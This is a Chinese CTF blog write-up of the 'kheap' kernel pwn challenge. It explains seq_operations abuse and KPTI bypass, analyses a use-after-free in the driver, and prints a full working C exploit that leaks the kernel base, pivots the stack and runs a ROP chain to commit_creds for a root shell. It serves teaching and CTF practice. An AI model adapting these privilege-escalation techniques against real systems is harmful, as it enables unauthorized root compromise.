Skip to main content

「PWN」内核 PWN 题目的第一次尝试

· 15 min read
Muel - Nova
Anime Would PWN This WORLD into 2D

题目附件:http://121.40.89.206/20230311/kheap_9010ffcba2dfbfd58c7ab541015b24ec.zip

虽然研究过一下 kernel,但是这是第一次尝试 kernel pwn

前置知识

在了解 exp 前,让我们来看看我们所需要的内容

seq_file

Source at seq_file.c - fs/seq_file.c - Linux source code (v5.11) - Bootlin

在用户态执行open("/proc/self/stat",0);后,内核会调用 single_open() 函数,在这里,它会为结构体 seq_operations 申请一个 0x20 大小的内存空间。

int single_open(struct file *file, int (*show)(struct seq_file *, void *),
void *data)
{
struct seq_operations *op = kmalloc(sizeof(*op), GFP_KERNEL_ACCOUNT);
int res = -ENOMEM;

if (op) {
op->start = single_start;
op->next = single_next;
op->stop = single_stop;
op->show = show;
res = seq_open(file, op);
if (!res)
((struct seq_file *)file->private_data)->private = data;
else
kfree(op);
}
return res;
}
EXPORT_SYMBOL(single_open);

seq_operations 结构体定义如下:

struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};

open() 函数会返回一个文件描述符 fd,而如果对这个文件描述符进行 read 操作,经过函数调用链则会最终调用 seq_operations->start 指针对应的函数

提示

除了seq_operations->start 外, read(fd, BUF, size) 也会调用 seq_operations->stop 指针对应的函数。关于这点,可以在 seq_file.c - fs/seq_file.c - Linux source code (v5.11) - Bootlin 看到更多

总结下来,我们可以注意三件事:

  • seq_operations 是一个 0x20 大小的结构体,在 open("/proc/self/stat",0); 时被分配。
  • seq_operationsread 时会调用 seq_opertaions->start
  • seq_operations 在默认情况下保存了 4 个位于内核上的函数指针。

因此,如果内核上存在一个可供我们修改的被释放了的 0x20 大小的堆,那么当我们调用 open("/proc/self/stat",0); 时,seq_operations 就会被分配到我们可控制的堆块上,此时我们可以泄露出内核基址,并通过修改 start 指针控制程序流。

KPTI

KPTI(Kernel PageTable Isolation)全称 内核页表隔离,它通过完全分离用户空间与内核空间页表来解决页表泄露。

KPTI 中每个进程有两套页表——内核态页表与用户态页表(两个地址空间)。内核态页表只能在内核态下访问,可以创建到内核和用户的映射(不过用户空间受 SMAP 和 SMEP 保护)。用户态页表只包含用户空间。不过由于涉及到上下文切换,所以在用户态页表中必须包含部分内核地址,用来建立到中断入口和出口的映射。

当中断在用户态发生时,就涉及到切换 CR3寄存器 ,从用户态地址空间切换到内核态的地址空间。中断上半部的要求是尽可能的快,从而切换 CR3 这个操作也要求尽可能的快。为了达到这个目的,KPTI 将内核空间的 PGD 和用户空间的 PGD 连续的放置在一个 8KB 的内存空间中(内核态在低位,用户态在高位)。这段空间必须是 8K 对齐的,这样将 CR3 的切换操作转换为将 CR3 的第 13 位的置位或清零操作,提高了 CR3 切换的速度。

img

通过上面的介绍,我们可以知道,想要绕过 KPTI,我们只需要修改 CR3 的 13 位为 1,即可从内核态 PGD 转回用户态 PGD。

而在swapgs_restore_regs_and_return_to_usermode+0x16 处可以很方便地做到这一点:

.text:FFFFFFFF81600A34 41 5F                          pop     r15
.text:FFFFFFFF81600A36 41 5E pop r14
.text:FFFFFFFF81600A38 41 5D pop r13
.text:FFFFFFFF81600A3A 41 5C pop r12
.text:FFFFFFFF81600A3C 5D pop rbp
.text:FFFFFFFF81600A3D 5B pop rbx
.text:FFFFFFFF81600A3E 41 5B pop r11
.text:FFFFFFFF81600A40 41 5A pop r10
.text:FFFFFFFF81600A42 41 59 pop r9
.text:FFFFFFFF81600A44 41 58 pop r8
.text:FFFFFFFF81600A46 58 pop rax
.text:FFFFFFFF81600A47 59 pop rcx
.text:FFFFFFFF81600A48 5A pop rdx
.text:FFFFFFFF81600A49 5E pop rsi
.text:FFFFFFFF81600A4A 48 89 E7 mov rdi, rsp
.text:FFFFFFFF81600A4D 65 48 8B 24 25+ mov rsp, gs: 0x5004
.text:FFFFFFFF81600A56 FF 77 30 push qword ptr [rdi+30h]
.text:FFFFFFFF81600A59 FF 77 28 push qword ptr [rdi+28h]
.text:FFFFFFFF81600A5C FF 77 20 push qword ptr [rdi+20h]
.text:FFFFFFFF81600A5F FF 77 18 push qword ptr [rdi+18h]
.text:FFFFFFFF81600A62 FF 77 10 push qword ptr [rdi+10h]
.text:FFFFFFFF81600A65 FF 37 push qword ptr [rdi]
.text:FFFFFFFF81600A67 50 push rax
.text:FFFFFFFF81600A68 EB 43 nop
.text:FFFFFFFF81600A6A 0F 20 DF mov rdi, cr3
.text:FFFFFFFF81600A6D EB 34 jmp 0xFFFFFFFF81600AA3

.text:FFFFFFFF81600AA3 48 81 CF 00 10+ or rdi, 1000h
.text:FFFFFFFF81600AAA 0F 22 DF mov cr3, rdi
.text:FFFFFFFF81600AAD 58 pop rax
.text:FFFFFFFF81600AAE 5F pop rdi
.text:FFFFFFFF81600AAF FF 15 23 65 62+ call cs: SWAPGS
.text:FFFFFFFF81600AB5 FF 25 15 65 62+ jmp cs: INTERRUPT_RETURN

_SWAPGS
.text:FFFFFFFF8103EFC0 55 push rbp
.text:FFFFFFFF8103EFC1 48 89 E5 mov rbp, rsp
.text:FFFFFFFF8103EFC4 0F 01 F8 swapgs
.text:FFFFFFFF8103EFC7 5D pop rbp
.text:FFFFFFFF8103EFC8 C3

根据 swapgs 的语义,我们只需要这样构造,即可从内核态跳转到 rip 上执行我们的用户态代码。

rsp  ---->  mov_rdi_rsp
0
0
rip
cs
rflags
rsp
ss
为什么这样构造栈?

我们可以参考 IRET 指令在手册中的介绍

the IRET instruction pops the return instruction pointer, return code segment selector, and EFLAGS image from the stack to the EIP, CS, and EFLAGS registers, respectively, and then resumes execution of the interrupted program or procedure. If the return is to another privilege level, the IRET instruction also pops the stack pointer and SS from the stack, before resuming program execution. If the return is to virtual-8086 mode, the processor also pops the data segment registers from the stack.

题目分析

题目文件处理

bzImage:

vmlinux-extract-elf bzImage vmlinux

rootfs.cpio

mkdir fs
cp rootfs.cpio fs/rootfs.cpio.gz
cd fs
gunzip rootfs.cpio.gz
cpio -idmv < rootfs.cpio

init 文件进行修改,修改成 root 用户方便调试

#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev

exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/module/kheap.ko
chmod 666 /dev/kheap
chmod 600 flag

setsid cttyhack setuidgid 0000 sh

umount /proc
umount /sys

poweroff -d 0 -f


通过 start.sh,发现需要提权才能查看 flag,并且保护开启了 smep 以及 KASLR

驱动分析

位于 fs/lib/module/kheap.ko

ioctl

image-20230318140716660

在这里,request 对应的就是我们传过来的 arg,不知道为啥 IDA 没解析出来。

往下看,根据 cmd 来决定堆块的创建和释放,以及堆块的选择,方便我们对堆块进行读写操作。

在这里,我们可以注意到:如果我们在 0x10002 操作,将 select 全局变量赋值为堆块的地址后,再进行 0x10001 操作,将堆块释放。此时 select 指针并没有被置 0,也就是我们拥有了一个悬挂指针,并且可以进行写和读操作。

write

image-20230318141929457

我们可以往 select 指针上写最多 0x20 字节

read

image-20230318142059251

可以读出 select 指针的最大 0x20 字节数据,用来泄露内核地址。

EXP 编写

exp 编写是困难的,因为 python 这类弱类型的用多了,想用 C 写,这个转变确实花了我不少功夫 :(

首先,我们要进行用户态的保存以用于在内核态切换回用户态时恢复上下文(正常情况下我们并不需要手动恢复上下文,但是由于我们控制了程序流,因此恢复上下文的操作也要我们自己进行)

uint64_t user_cs,user_ss,user_eflag,user_rsp;

void save_state()
{
asm(
"movq %%cs, %0;"
"movq %%ss, %1;"
"movq %%rsp, %3;"
"pushfq;"
"pop %2;"
: "=r"(user_cs),"=r"(user_ss),"=r"(user_eflag),"=r"(user_rsp)
:
: "memory"
);
}
注意

在 GCC 内联汇编中,使用的是 AT&T 语法,而不是我们更加熟悉的 intel 语法,所以源操作数和目的操作数的位置是相反的。

所以 movq %%cs, %0 在 gdb 中实际上表示的是 mov user_cs, cs

接着我们可以定义所需要的结构体。在这里,我们只需要定义 ioctl 中的 args 指针参数对应的 info 结构体。

struct info
{
uint64_t idx;
char *ptr;
};

之后,我们通过包装 ioctl 函数,将它实现的几个功能抽象出来方便调用。

int dev_fd;
int seq_fd;

void new(uint64_t idx)
{
struct info arg={idx,NULL};
ioctl(dev_fd,0x10000,&arg);
}

void delete(uint64_t idx)
{
struct info arg={idx,NULL};
ioctl(dev_fd,0x10001,&arg);
}

void choose(uint64_t idx)
{
struct info arg={idx,NULL};
ioctl(dev_fd,0x10002,&arg);
}

int seq_open()
{
int seq;
if ((seq=open("/proc/self/stat",O_RDONLY))==-1)
{
puts("[X] Seq Open Error");
exit(0);
}
return seq;
}

void get_shell()
{
system("/bin/sh");
exit(0);
}

此时,我们就可以开始编写 exp 了

首先,我们先造一个悬挂指针 idx=0

int main()
{
save_state();

dev_fd=open("/dev/kheap",O_RDWR); // Kheap Device FD
if (dev_fd<0)
{
puts("[X] Device Open Error");
exit(0);
}

new(0);
choose(0);
delete(0);
}

根据前置知识,我们可以利用 open("/proc/self/stat",0);,将 seq_operations 结构体分配到我们可操控的这个堆上。之后利用 read,我们便可读出 seq_operations 结构体的所有内容,并计算出内核基址。同样的,拥有了内核基址,我们也就可以拿到其它我们所需要的函数的地址。

  seq_fd=seq_open(); // seq_operations <--> 0

uint64_t *recv=malloc(0x20);
read(dev_fd,(char *)recv,0x20); // leak kernel address

uint64_t kernel_base=recv[0]-0x33F980;
uint64_t prepare_kernel_cred=kernel_base+0xcebf0;
uint64_t commit_creds=kernel_base+0xce710;
uint64_t kpti_trampoline=kernel_base+0xc00fb0;
uint64_t seq_read=kernel_base+0x340560;
uint64_t pop_rdi=kernel_base+0x2517a;
uint64_t mov_rdi_rax=kernel_base+0x5982f4;
uint64_t gadget=kernel_base+0x94a10;
如何确定它们的地址用来计算偏移?

可以在 root 下,通过 grep <symbol_name> /proc/kallsyms 拿到

例如:

grep prepare_kernel_cred  /proc/kallsyms
grep commit_creds /proc/kallsyms
grep kheap_write /proc/kallsyms

此时,我们可以开始着手布置 ROP 链。

利用 xchg eax, esp 这个位于内核的 gadget,将栈转移到用户态低 32 位地址相同的地方。这个时候,我们只需要提前在这个位置布置上我们的 gadgets,就能达到提权的效果。

如何提前布置呢?我们只需要在对应的内存页上使用 mmap 开一个 RWX 的内存空间即可。接下来的东西就和用户态的 pwn 题差不多,但是因为第一次分析内核题目,还是稍微写了点注释。

  uint64_t *mmap_addr=mmap((void *)(gadget&0xFFFFF000),PAGE_SIZE,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANONYMOUS|MAP_SHARED,-1,0);
printf("[+] mmap_addr: 0x%lx\n",(uint64_t)mmap_addr);

uint64_t *ROP=(uint64_t *)(((char *)mmap_addr)+0xa10),i=0; // ROP Address <--> low 32bit of gadget in kernel
*(ROP+i++)=pop_rdi;
*(ROP+i++)=0;
*(ROP+i++)=prepare_kernel_cred;  // After this, we don't need to use gadget `mov rdi, rax`, it already set.
*(ROP+i++)=commit_creds;
*(ROP+i++)=kpti_trampoline+22; // Prepare for SWAPGS
*(ROP+i++)=0;
*(ROP+i++)=0;
*(ROP+i++)=(uint64_t)get_shell; // rip
*(ROP+i++)=user_cs; // cs
*(ROP+i++)=user_eflag; // eflag
*(ROP+i++)=user_rsp; // rsp
*(ROP+i++)=user_ss; // ss
为什么 rax 会是 gadget 地址呢?这个函数为什么又能将栈迁移到用户态呢?

出于对这个问题的好奇,我简单的进行了调试。发现在 mov rax, QWORD PTR [r15+0x58] 处进行了定义,这个 QWORD PTR [r15+0x58] 可以猜想是 m->op 的地址,此时,为了调用 m->op->start,它又对 rax 进行了 mov rax [rax+0] 的操作,将 rax 赋值成了指针 m->op->start,因此,rax 也就是我们 gadget 的地址。

xchg eax, esp 落到用户态,这就是寄存器的特性所在了。在 64 位环境下,目的寄存器若是 32 位,则会将高 32 位清零,而如果是 16/8 位寄存器则不会清零。而内核态内存地址的高 32 位都是 1,清零便落到了用户态

最后,我们将 gadget 的地址写到 seq_operations->start 上,调用 read,即可完成提权。

  uint64_t *buf=malloc(0x20);
memcpy(buf,recv,0x20);
buf[0]=(uint64_t)gadget;
write(dev_fd,(char *)buf,0x20);
read(seq_fd,NULL,1);

最终 exp:

// gcc --static exp.c -o exp

#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <signal.h>
#include <unistd.h>
#include <syscall.h>
#include <pthread.h>
#include <poll.h>
#include <linux/userfaultfd.h>
#include <linux/fs.h>
#include <sys/shm.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>

#define PAGE_SIZE 0x1000

struct info
{
uint64_t idx;
char *ptr;
};


int dev_fd;
uint64_t user_cs,user_ss,user_eflag,user_rsp;

void save_state()
{
asm(
"movq %%cs, %0;"
"movq %%ss, %1;"
"movq %%rsp, %3;"
"pushfq;"
"pop %2;"
: "=r"(user_cs),"=r"(user_ss),"=r"(user_eflag),"=r"(user_rsp)
:
: "memory"
);
}

void new(uint64_t idx)
{
struct info arg={idx,NULL};
ioctl(dev_fd,0x10000,&arg);
}

void delete(uint64_t idx)
{
struct info arg={idx,NULL};
ioctl(dev_fd,0x10001,&arg);
}

void choose(uint64_t idx)
{
struct info arg={idx,NULL};
ioctl(dev_fd,0x10002,&arg);
}

int seq_open()
{
int seq;
if ((seq=open("/proc/self/stat",O_RDONLY))==-1)
{
puts("[X] Seq Open Error");
exit(0);
}
return seq;
}

void get_shell()
{
system("/bin/sh");
exit(0);
}

int main()
{
save_state();
dev_fd=open("/dev/kheap",O_RDWR);
if (dev_fd<0)
{
puts("[X] Device Open Error");
exit(0);
}


uint64_t *buf=malloc(0x20); uint64_t *recv=malloc(0x20);

new(0);
choose(0);
delete(0);

int seq_fd=seq_open();

read(dev_fd,(char *)recv,0x20);

uint64_t kernel_base=recv[0]-0x33F980;
uint64_t prepare_kernel_cred=kernel_base+0xcebf0;
uint64_t commit_creds=kernel_base+0xce710;
uint64_t kpti_trampoline=kernel_base+0xc00fb0;
uint64_t seq_read=kernel_base+0x340560;
uint64_t pop_rdi=kernel_base+0x2517a;
uint64_t mov_rdi_rax=kernel_base+0x5982f4;
uint64_t gadget=kernel_base+0x94a10;

printf("[+] kernel_base: 0x%lx\n",kernel_base);
printf("[+] prepare_kernel_cred: 0x%lx\n",prepare_kernel_cred);
printf("[+] commit_creds: 0x%lx\n",commit_creds);
printf("[+] gadget: 0x%lx\n",gadget);

uint64_t *mmap_addr=mmap((void *)(gadget&0xFFFFF000),PAGE_SIZE,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANONYMOUS|MAP_SHARED,-1,0);
printf("[+] mmap_addr: 0x%lx\n",(uint64_t)mmap_addr);

uint64_t *ROP=(uint64_t *)(((char *)mmap_addr)+0xa10),i=0;
*(ROP+i++)=pop_rdi;
*(ROP+i++)=0;
*(ROP+i++)=prepare_kernel_cred;
*(ROP+i++)=commit_creds;
*(ROP+i++)=kpti_trampoline+22;
*(ROP+i++)=0;
*(ROP+i++)=0;
*(ROP+i++)=(uint64_t)get_shell;
*(ROP+i++)=user_cs;
*(ROP+i++)=user_eflag;
*(ROP+i++)=user_rsp;
*(ROP+i++)=user_ss;

memcpy(buf,recv,0x20);
buf[0]=(uint64_t)gadget;
write(dev_fd,(char *)buf,0x20);
read(seq_fd,NULL,1);

}

Reference

Kernel pwn CTF 入门

一个题掌握linux内核pwn常用结构体

Kernel Exploitで使える構造体集 - CTFするぞ ((翻译)kernel pwn中能利用的一些结构体 – pzhxbz的技术笔记本)

教你学内核-tty,seq结构体利用

[原创]KERNEL PWN状态切换原理及KPTI绕过

Loading Comments...